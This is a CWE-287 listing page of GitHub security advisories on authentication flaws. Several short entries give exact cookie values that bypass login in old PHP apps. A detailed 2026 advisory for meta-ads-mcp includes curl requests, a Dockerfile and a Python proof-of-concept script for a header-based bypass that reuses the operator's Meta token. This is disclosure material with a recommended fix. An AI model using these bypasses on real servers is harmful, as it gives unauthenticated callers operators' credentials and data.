CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5996 vulnerabilities reference this CWE, most recent first.
GHSA-2RCJ-XX33-M8J8
Vulnerability from github – Published: 2022-05-01 23:34 – Updated: 2022-05-01 23:34The SOAP interface to the eMBox module in Novell eDirectory 8.7.3.9 and earlier, and 8.8.x before 8.8.2, relies on client-side authentication, which allows remote attackers to bypass authentication via requests for /SOAP URIs, and cause a denial of service (daemon shutdown) or read arbitrary files. NOTE: it was later reported that 8.7.3.10 (aka 8.7.3 SP10) is also affected.
{
"affected": [],
"aliases": [
"CVE-2008-0926"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-28T18:44:00Z",
"severity": "HIGH"
},
"details": "The SOAP interface to the eMBox module in Novell eDirectory 8.7.3.9 and earlier, and 8.8.x before 8.8.2, relies on client-side authentication, which allows remote attackers to bypass authentication via requests for /SOAP URIs, and cause a denial of service (daemon shutdown) or read arbitrary files. NOTE: it was later reported that 8.7.3.10 (aka 8.7.3 SP10) is also affected.",
"id": "GHSA-2rcj-xx33-m8j8",
"modified": "2022-05-01T23:34:47Z",
"published": "2022-05-01T23:34:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0926"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41426"
},
{
"type": "WEB",
"url": "https://secure-support.novell.com/KanisaPlatform/Publishing/876/3866911_f.SAL_Public.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29527"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/491621/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28441"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1019691"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0988/references"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RH3-W5J6-6HF8
Vulnerability from github – Published: 2022-05-17 05:09 – Updated: 2022-05-17 05:09Session fixation vulnerability in LOCKON EC-CUBE 2.11.0 through 2.12.3enP2 allows remote attackers to hijack web sessions via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2013-2313"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-05-29T19:55:00Z",
"severity": "MODERATE"
},
"details": "Session fixation vulnerability in LOCKON EC-CUBE 2.11.0 through 2.12.3enP2 allows remote attackers to hijack web sessions via unspecified vectors.",
"id": "GHSA-2rh3-w5j6-6hf8",
"modified": "2022-05-17T05:09:11Z",
"published": "2022-05-17T05:09:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2313"
},
{
"type": "WEB",
"url": "http://jvn.jp/en/jp/JVN00985872/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2013-000042"
},
{
"type": "WEB",
"url": "http://svn.ec-cube.net/open_trac/changeset/22804"
},
{
"type": "WEB",
"url": "http://svn.ec-cube.net/open_trac/changeset/22805"
},
{
"type": "WEB",
"url": "http://www.ec-cube.net/info/weakness/weakness.php?id=40"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RHX-8HC8-F268
Vulnerability from github – Published: 2022-05-17 00:37 – Updated: 2022-05-17 00:37profileedit.php TaskDriver 1.3 and earlier allows remote attackers to bypass authentication and gain administrative access by setting the auth cookie to "fook!admin."
{
"affected": [],
"aliases": [
"CVE-2008-6919"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-08-10T16:30:00Z",
"severity": "HIGH"
},
"details": "profileedit.php TaskDriver 1.3 and earlier allows remote attackers to bypass authentication and gain administrative access by setting the auth cookie to \"fook!admin.\"",
"id": "GHSA-2rhx-8hc8-f268",
"modified": "2022-05-17T00:37:29Z",
"published": "2022-05-17T00:37:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6919"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47608"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7605"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25221"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/33030"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RJM-GHP4-P47R
Vulnerability from github – Published: 2022-05-01 23:45 – Updated: 2022-05-01 23:45phShoutBox Final 1.5 and earlier only checks passwords when specified in $_POST, which allows remote attackers to gain privileges by setting the (1) phadmin cookie to admin.php, or (2) in 1.4 and earlier, the ssbadmin cookie to shoutadmin.php.
{
"affected": [],
"aliases": [
"CVE-2008-1971"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-04-27T18:05:00Z",
"severity": "HIGH"
},
"details": "phShoutBox Final 1.5 and earlier only checks passwords when specified in $_POST, which allows remote attackers to gain privileges by setting the (1) phadmin cookie to admin.php, or (2) in 1.4 and earlier, the ssbadmin cookie to shoutadmin.php.",
"id": "GHSA-2rjm-ghp4-p47r",
"modified": "2022-05-01T23:45:23Z",
"published": "2022-05-01T23:45:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1971"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/41901"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5467"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29892"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28856"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2RMP-FW5R-J5QV
Vulnerability from github – Published: 2021-05-18 18:22 – Updated: 2023-10-02 15:14InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/influxdata/influxdb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-20933"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2021-05-12T21:55:56Z",
"nvd_published_at": "2020-11-19T02:15:00Z",
"severity": "CRITICAL"
},
"details": "InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in `services/httpd/handler.go` because a JWT token may have an empty SharedSecret (aka shared secret).",
"id": "GHSA-2rmp-fw5r-j5qv",
"modified": "2023-10-02T15:14:38Z",
"published": "2021-05-18T18:22:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20933"
},
{
"type": "WEB",
"url": "https://github.com/influxdata/influxdb/issues/12927"
},
{
"type": "WEB",
"url": "https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0"
},
{
"type": "WEB",
"url": "https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6"
},
{
"type": "WEB",
"url": "https://github.com/ticarpi/jwt_tool/blob/a6ca3e0524a204b5add070bc6874cb4e7e5a9864/jwt_tool.py#L1368"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/12/msg00030.html"
},
{
"type": "PACKAGE",
"url": "https://pkg.go.dev/github.com/influxdata/influxdb/services/httpd"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4823"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Authentication in InfluxDB"
}
GHSA-2V2F-MVFG-PH56
Vulnerability from github – Published: 2026-07-17 18:48 – Updated: 2026-07-17 18:48X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
Summary
AuthInjectionMiddleware in meta-ads-mcp rejects HTTP MCP requests only when both auth_token and pipeboard_token are absent. Because extract_token_from_headers() does not recognise the X-Pipeboard-Token header, an attacker who sends that header with any arbitrary value produces auth_token = None and pipeboard_token = <attacker value>, making the guard condition evaluate to False and passing the request through. No authentication context is set; the token getter falls back to the server operator's META_ACCESS_TOKEN environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.
Details
The vulnerable condition is at meta_ads_mcp/core/http_auth_integration.py:259:
# http_auth_integration.py:255-260
auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))
pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))
if not auth_token and not pipeboard_token: # ← bypass condition
return Response(..., status_code=401)
extract_token_from_headers() (lines 77–95) recognises only Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN. It does not recognise X-Pipeboard-Token, so that header never populates auth_token.
extract_pipeboard_token_from_headers() (line 108) does recognise X-Pipeboard-Token, so sending that header alone produces:
auth_token = None # not set → guard reads False for left operand
pipeboard_token = "<anything>" # truthy → guard reads False for right operand
→ (not None) and (not "<anything>") = True and False = False → 401 never returned
After the bypass, set_auth_token() is never called (lines 283–291 only run when auth_token is truthy). The patched token getter at lines 163–168 resolves get_auth_token() = None, then delegates to original_get_current_access_token(). The fallback chain in auth.py:446–453 returns META_ACCESS_TOKEN from the server environment:
# auth.py:443-453
env_token = os.environ.get("META_ACCESS_TOKEN")
if env_token:
return env_token
@meta_api_tool at api.py:390–396 injects this operator token into every tool's access_token kwarg. The sink at api.py:225–235 forwards it to the Meta Graph API via httpx.AsyncClient. Verified with accounts.py:42–62 (get_ad_accounts): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an OAuthException, confirming the token traversed the full path.
Full data flow:
| Step | Location | Description |
|---|---|---|
| 1 | http_auth_integration.py:255–257 |
Middleware extracts attacker-controlled headers |
| 2 | http_auth_integration.py:259 |
Bypass: X-Pipeboard-Token alone satisfies guard |
| 3 | http_auth_integration.py:288–291 |
auth_token is None; auth context never set |
| 4 | http_auth_integration.py:163–168 |
Token getter falls back to original accessor |
| 5 | auth.py:446–453 |
META_ACCESS_TOKEN env var returned as access token |
| 6 | api.py:390–396 |
Operator token injected into tool kwargs |
| 7 | accounts.py:42–62 |
Tool invokes Meta Graph API with operator token |
| 8 | api.py:225–235 |
httpx.AsyncClient sends privileged HTTP request |
Recommended fix:
--- a/meta_ads_mcp/core/http_auth_integration.py
+++ b/meta_ads_mcp/core/http_auth_integration.py
- if not auth_token and not pipeboard_token:
+ if not auth_token:
X-Pipeboard-Token should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.
PoC
Prerequisites
- Docker installed and the
meta-ads-mcprepository available locally. - The server must be started in
streamable-httpmode (documented inSTREAMABLE_HTTP_SETUP.mdas a supported production deployment).
Step 1 — Build the Docker image
docker build \
-t vuln001-meta-ads-mcp \
-f /path/to/vuln-001/Dockerfile \
/path/to/meta-ads-mcp-repo/
The Dockerfile installs the package from source, sets META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890, and starts the server on port 8080.
Step 2 — Run the container
docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp
Step 3 — Confirm the middleware is active (no-auth → 401)
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 401 {"error":"Unauthorized",...}
Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed)
Step 5 — Confirm operator token is forwarded to Meta Graph API
curl -i -X POST http://127.0.0.1:8081/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.
Automated PoC script
python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp
The script performs Tests 1–3 and prints RESULT: PASS — VULN-001 reproduced on success.
Observed output (dynamic reproduction)
Test 1 (no auth header) → HTTP 401 {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools)
Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}
Test 3 confirms that FAKE_OPERATOR_META_TOKEN was sent to Meta Graph API, proving the full operator-token reuse path.
Impact
This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary X-Pipeboard-Token header can:
- Read all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).
- Write Meta Ads resources (create/update campaigns, ads, budgets) as the operator.
- Exfiltrate the operator's identity via Meta Graph API error responses that reference the token.
Operators who deploy meta-ads-mcp in --transport streamable-http mode with META_ACCESS_TOKEN configured — the documented and recommended production setup — are directly affected. Deployments using the default stdio transport or those without META_ACCESS_TOKEN set are not affected.
Reproduction artifacts
Dockerfile
# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
# which then fall back to the operator's META_ACCESS_TOKEN.
FROM python:3.11-slim
WORKDIR /app
# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
&& rm -rf /var/lib/apt/lists/*
# Copy repository source (build context must be the repo root)
COPY . /app
# Install the package and its dependencies
RUN pip install --no-cache-dir -e .
# Fake operator token: length >= 20 so the server's basic validation passes.
# This is NOT a real Meta token — used only to prove the bypass path
# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).
ENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890
ENV META_APP_ID=999999999999999
# Disable any browser-launch attempts during startup
ENV DISPLAY=
EXPOSE 8080
# Start the MCP server with streamable-http transport.
# --host 0.0.0.0 is required so the container port is reachable from the host.
CMD ["python", "-m", "meta_ads_mcp", \
"--transport", "streamable-http", \
"--host", "0.0.0.0", \
"--port", "8080"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
CVE class : CWE-287 Improper Authentication
Package : meta-ads-mcp 1.0.113
File : meta_ads_mcp/core/http_auth_integration.py:259
Vulnerability summary
---------------------
AuthInjectionMiddleware rejects requests only when BOTH auth_token AND
pipeboard_token are absent (line 259):
if not auth_token and not pipeboard_token:
return Response(status_code=401)
extract_token_from_headers() (lines 77-95) does NOT recognise the
"X-Pipeboard-Token" header — only "Authorization: Bearer",
"X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN".
extract_pipeboard_token_from_headers() (line 108) DOES recognise
"X-Pipeboard-Token".
Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>"
makes auth_token=None and pipeboard_token="<anything>". The bypass
condition becomes:
if not None and not "<anything>": # False — request passes
No auth context is set; the token getter (http_auth_integration.py:163-168)
falls back to get_current_access_token() in auth.py which returns the server
operator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the
operator.
Expected evidence
-----------------
Test 1 No auth header → HTTP 401 from middleware
Test 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer
(proves bypass; further tool calls use operator token)
Usage
-----
The MCP server must already be running and reachable at 127.0.0.1:8080.
docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp
python3 poc.py
"""
import json
import sys
import time
import urllib.error
import urllib.request
# ---------------------------------------------------------------------------
# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp
import os as _os
_DEFAULT_URL = "http://127.0.0.1:8080/mcp"
SERVER_URL = (
sys.argv[1] if len(sys.argv) > 1 else _os.environ.get("MCP_SERVER_URL", _DEFAULT_URL)
)
# Arbitrary attacker-controlled value — NOT validated by the server
ATTACKER_PIPEBOARD_TOKEN = "attacker-controlled-not-validated-xyz1234567890"
SERVER_READY_TIMEOUT = 90 # seconds
# ---------------------------------------------------------------------------
def http_post(url: str, headers: dict, body: dict) -> tuple:
"""Send a JSON-encoded POST request; return (http_status, response_text)."""
data = json.dumps(body).encode()
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=10) as resp:
return resp.status, resp.read().decode("utf-8", errors="replace")
except urllib.error.HTTPError as exc:
return exc.code, exc.read().decode("utf-8", errors="replace")
except Exception as exc:
return None, str(exc)
def wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:
"""
Poll until the server returns any HTTP response (even 401).
Returns True when ready, False on timeout.
"""
deadline = time.time() + timeout
attempt = 0
while time.time() < deadline:
status, _ = http_post(
SERVER_URL,
{"Content-Type": "application/json"},
{"jsonrpc": "2.0", "id": 0, "method": "ping"},
)
if status is not None:
return True
attempt += 1
if attempt % 5 == 0:
elapsed = int(time.time() - (deadline - timeout))
print(f" ... still waiting ({elapsed}s elapsed)")
time.sleep(1)
return False
def run_test(label: str, headers: dict, payload: dict) -> tuple:
"""Run one request, print result, and return (status, body)."""
print(f"\n[*] {label}")
status, body = http_post(SERVER_URL, headers, payload)
print(f" HTTP Status : {status}")
# Print up to 600 chars so long MCP responses are readable
print(f" Response : {body[:600]}")
return status, body
def main() -> int:
print("=" * 65)
print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass")
print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication")
print("=" * 65)
# -----------------------------------------------------------------------
print("\n[*] Waiting for MCP server to be ready ...")
if not wait_for_server():
print(f"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s")
return 2
print("[+] Server is ready")
# Common headers for all requests
base_headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
# A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server
# processes each request independently; tools/list does not require a
# prior initialize handshake.
list_payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/list",
"params": {},
}
# -----------------------------------------------------------------------
# Test 1: No authentication — must be rejected with 401
# -----------------------------------------------------------------------
status1, body1 = run_test(
"Test 1: POST /mcp — no auth header at all",
base_headers,
list_payload,
)
if status1 != 401:
print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}")
print(" Middleware may not be active. Cannot assess bypass.")
return 2
try:
parsed = json.loads(body1)
if parsed.get("error") != "Unauthorized":
print("[-] UNEXPECTED body (expected {\"error\": \"Unauthorized\"})")
return 2
except json.JSONDecodeError:
pass # Body format is secondary evidence
print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401")
# -----------------------------------------------------------------------
# Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works
#
# Vulnerability logic (http_auth_integration.py:259):
# auth_token = extract_token_from_headers(headers) -> None
# pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE
# if not None and not ATTACKER_VALUE: # evaluates False -> request passes
# # set_auth_token() never called -> auth context stays None
# # tool getter falls back to META_ACCESS_TOKEN env var
# -----------------------------------------------------------------------
bypass_headers = {
**base_headers,
"X-Pipeboard-Token": ATTACKER_PIPEBOARD_TOKEN,
}
status2, body2 = run_test(
f"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}",
bypass_headers,
list_payload,
)
if status2 == 401:
print("\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.")
print(" The vulnerability may have been patched on this build.")
return 1
print(f"\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)")
print(" The middleware accepted the request with X-Pipeboard-Token alone.")
print(" auth_token was None -> set_auth_token() not called ->")
print(" get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.")
# Extra detail: check if we can see MCP tool names in the response
try:
parsed2 = json.loads(body2)
tools = parsed2.get("result", {}).get("tools", [])
if tools:
print(f"\n MCP tools/list returned {len(tools)} tools (server fully reachable):")
for t in tools[:5]:
print(f" - {t.get('name', '?')}")
except Exception:
pass
# -----------------------------------------------------------------------
# Test 3: tools/call get_ad_accounts — operator token forwarded to Meta
# The Meta Graph API will reject the FAKE token, but the error response
# proves the request reached Meta (not the local 401 guard).
# -----------------------------------------------------------------------
call_payload = {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "get_ad_accounts",
"arguments": {"limit": 1},
},
}
status3, body3 = run_test(
"Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only",
bypass_headers,
call_payload,
)
if status3 != 401:
print(f"\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}")
print(" The tool call was not blocked locally. The server forwarded")
print(" the request to Meta Graph API using META_ACCESS_TOKEN.")
if "OAuthException" in body3 or "Invalid OAuth" in body3:
print(" Meta Graph API returned an OAuthException about the")
print(" FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.")
elif "error" in body3.lower():
print(" Meta Graph API (or MCP layer) returned an error response")
print(" — the request reached the tool handler, not the local 401 guard.")
else:
print("[!] Note: tools/call returned 401 — may need MCP initialize first")
# -----------------------------------------------------------------------
print("\n" + "=" * 65)
print("RESULT: PASS — VULN-001 reproduced")
print()
print("Evidence:")
print(f" Test 1 (no header) -> HTTP {status1} (blocked by middleware)")
print(f" Test 2 (X-Pipeboard-Token) -> HTTP {status2} (BYPASSES middleware)")
print()
print("The distinction proves that AuthInjectionMiddleware at")
print("http_auth_integration.py:259 is the exploitable boundary.")
print("An attacker can reach all MCP tools as the server operator by")
print('sending any value in the "X-Pipeboard-Token" header.')
print("=" * 65)
return 0
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "meta-ads-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.115"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54547"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T18:48:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token\n\n### Summary\n\n`AuthInjectionMiddleware` in `meta-ads-mcp` rejects HTTP MCP requests only when **both** `auth_token` and `pipeboard_token` are absent. Because `extract_token_from_headers()` does not recognise the `X-Pipeboard-Token` header, an attacker who sends that header with any arbitrary value produces `auth_token = None` and `pipeboard_token = \u003cattacker value\u003e`, making the guard condition evaluate to `False` and passing the request through. No authentication context is set; the token getter falls back to the server operator\u0027s `META_ACCESS_TOKEN` environment variable. Every subsequent MCP tool call executes with the operator\u0027s Meta credentials, allowing an unauthenticated network caller to read and write the operator\u0027s Meta Ads data.\n\n### Details\n\nThe vulnerable condition is at `meta_ads_mcp/core/http_auth_integration.py:259`:\n\n```python\n# http_auth_integration.py:255-260\nauth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))\npipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))\n\nif not auth_token and not pipeboard_token: # \u2190 bypass condition\n return Response(..., status_code=401)\n```\n\n`extract_token_from_headers()` (lines 77\u201395) recognises only `Authorization: Bearer`, `X-META-ACCESS-TOKEN`, and `X-PIPEBOARD-API-TOKEN`. It does **not** recognise `X-Pipeboard-Token`, so that header never populates `auth_token`.\n\n`extract_pipeboard_token_from_headers()` (line 108) **does** recognise `X-Pipeboard-Token`, so sending that header alone produces:\n\n```\nauth_token = None # not set \u2192 guard reads False for left operand\npipeboard_token = \"\u003canything\u003e\" # truthy \u2192 guard reads False for right operand\n\u2192 (not None) and (not \"\u003canything\u003e\") = True and False = False \u2192 401 never returned\n```\n\nAfter the bypass, `set_auth_token()` is never called (lines 283\u2013291 only run when `auth_token` is truthy). The patched token getter at lines 163\u2013168 resolves `get_auth_token() = None`, then delegates to `original_get_current_access_token()`. The fallback chain in `auth.py:446\u2013453` returns `META_ACCESS_TOKEN` from the server environment:\n\n```python\n# auth.py:443-453\nenv_token = os.environ.get(\"META_ACCESS_TOKEN\")\nif env_token:\n return env_token\n```\n\n`@meta_api_tool` at `api.py:390\u2013396` injects this operator token into every tool\u0027s `access_token` kwarg. The sink at `api.py:225\u2013235` forwards it to the Meta Graph API via `httpx.AsyncClient`. Verified with `accounts.py:42\u201362` (`get_ad_accounts`): the operator\u0027s ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an `OAuthException`, confirming the token traversed the full path.\n\nFull data flow:\n\n| Step | Location | Description |\n|------|----------|-------------|\n| 1 | `http_auth_integration.py:255\u2013257` | Middleware extracts attacker-controlled headers |\n| 2 | `http_auth_integration.py:259` | Bypass: `X-Pipeboard-Token` alone satisfies guard |\n| 3 | `http_auth_integration.py:288\u2013291` | `auth_token` is `None`; auth context never set |\n| 4 | `http_auth_integration.py:163\u2013168` | Token getter falls back to original accessor |\n| 5 | `auth.py:446\u2013453` | `META_ACCESS_TOKEN` env var returned as access token |\n| 6 | `api.py:390\u2013396` | Operator token injected into tool kwargs |\n| 7 | `accounts.py:42\u201362` | Tool invokes Meta Graph API with operator token |\n| 8 | `api.py:225\u2013235` | `httpx.AsyncClient` sends privileged HTTP request |\n\n**Recommended fix:**\n\n```diff\n--- a/meta_ads_mcp/core/http_auth_integration.py\n+++ b/meta_ads_mcp/core/http_auth_integration.py\n- if not auth_token and not pipeboard_token:\n+ if not auth_token:\n```\n\n`X-Pipeboard-Token` should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed and the `meta-ads-mcp` repository available locally.\n- The server must be started in `streamable-http` mode (documented in `STREAMABLE_HTTP_SETUP.md` as a supported production deployment).\n\n**Step 1 \u2014 Build the Docker image**\n\n```bash\ndocker build \\\n -t vuln001-meta-ads-mcp \\\n -f /path/to/vuln-001/Dockerfile \\\n /path/to/meta-ads-mcp-repo/\n```\n\nThe `Dockerfile` installs the package from source, sets `META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890`, and starts the server on port 8080.\n\n**Step 2 \u2014 Run the container**\n\n```bash\ndocker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp\n```\n\n**Step 3 \u2014 Confirm the middleware is active (no-auth \u2192 401)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}\u0027\n# Expected: HTTP/1.1 401 {\"error\":\"Unauthorized\",...}\n```\n\n**Step 4 \u2014 Trigger the bypass (X-Pipeboard-Token only \u2192 200)**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027X-Pipeboard-Token: attacker-controlled-not-validated\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"tools/list\",\"params\":{}}\u0027\n# Expected: HTTP/1.1 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools listed)\n```\n\n**Step 5 \u2014 Confirm operator token is forwarded to Meta Graph API**\n\n```bash\ncurl -i -X POST http://127.0.0.1:8081/mcp \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Accept: application/json, text/event-stream\u0027 \\\n -H \u0027X-Pipeboard-Token: attacker-controlled-not-validated\u0027 \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"get_ad_accounts\",\"arguments\":{\"limit\":1}}}\u0027\n# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN\n# was forwarded to Meta. With a real operator token, ad account data is returned.\n```\n\n**Automated PoC script**\n\n```bash\npython3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp\n```\n\nThe script performs Tests 1\u20133 and prints `RESULT: PASS \u2014 VULN-001 reproduced` on success.\n\n**Observed output (dynamic reproduction)**\n\n```\nTest 1 (no auth header) \u2192 HTTP 401 {\"error\":\"Unauthorized\",...}\nTest 2 (X-Pipeboard-Token only) \u2192 HTTP 200 {\"jsonrpc\":\"2.0\",\"result\":{\"tools\":[...]}} (37 tools)\nTest 3 (tools/call, same header)\u2192 HTTP 200 {\"error\":{\"message\":\"Invalid OAuth access token data.\",\"type\":\"OAuthException\",\"code\":190}}\n```\n\nTest 3 confirms that 